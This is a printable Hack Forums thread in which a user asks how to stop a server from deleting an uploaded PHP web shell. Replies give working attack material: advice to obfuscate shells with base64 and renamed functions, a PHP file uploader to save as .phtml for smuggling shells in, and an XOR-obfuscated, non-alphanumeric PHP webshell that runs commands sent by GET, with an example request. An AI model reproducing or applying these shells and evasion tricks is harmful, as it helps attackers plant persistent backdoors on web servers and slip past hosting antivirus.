Server keeps deleting my php shell

Server keeps deleting my php shell - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: Server keeps deleting my php shell (/showthread.php?tid=5851840)

Server keeps deleting my php shell - messiandro - Jun 20, 2018

I've tried alot of times so far to upload a shell on my own site (don't ask why -_-' ) and once I open it, 1 minute later it gets automatically deleted. Any way to stop the server from deleting it?

Thanks

RE: Server keeps deleting my php shell - Mr8n - Jun 20, 2018

the server catch shell by some code ,,
try base64

RE: Server keeps deleting my php shell - SnoWHAX - Jun 23, 2018

(Jun 20, 2018 05:35 AM)messiandro Wrote: I've tried alot of times so far to upload a shell on my own site (don't ask why -_-' ) and once I open it, 1 minute later it gets automatically deleted. Any way to stop the server from deleting it?

Thanks

(Jun 20, 2018 09:45 AM)Mr8n Wrote: the server catch shell by some code ,,
try base64

obfuscating with base64 is great start aswell as changing name or functions sush as use passthro shell instead of a wso type shell>?

RE: Server keeps deleting my php shell - Mr8n - Jun 23, 2018

PHP Code 


<?php
echo "File Uploader By Cyber iQ<br>";
echo "<b>".php_uname()."</b><br>";
echo "<form method='post' enctype='multipart/form-data'>
      <input type='file' name='idx_file'>
      <input type='submit' name='upload' value='upload'>
      </form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
    if(is_writable($root)) {
        if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
            $web = "http://".$_SERVER['HTTP_HOST']."/";
            echo "sukses upload -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
        } else {
            echo "gagal upload di document root.";
        }
    } else {
        if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
            echo "sukses upload <b>$files</b> di folder ini";
        } else {
            echo "gagal upload";
        }
    }
}
?>

save it as up.phtml then upload it , and upload your shell from it

RE: Server keeps deleting my php shell - M L T - Jun 24, 2018

Incorporate non-alphanumericism

Code 
<?

$_="{"; #XOR char

$_=($_^"<").($_^">;").($_^"/"); #XOR = GET

?>

<?=${'_'.$_}["_"](${'_'.$_}["__"]);?> # Exec :)

that's a fully functional PHP webshell right there. You just pass commands to it via GET e.g. shell.php?cmd=;ls -al

RE: Server keeps deleting my php shell - FCC - Jun 24, 2018

A lot of shared hosting sites have an anti virus that scans the website's files for anything potentially dangerous to their server. Shells are one of the things they scan for.

RE: Server keeps deleting my php shell - CryptoLs - Jun 27, 2018

If you Google simple php she'll you'll find small shells that you can easily pass get requests through in order to execute commands, you could also obfuscate or set up a panel that isn't normally marked as a shell and work from there.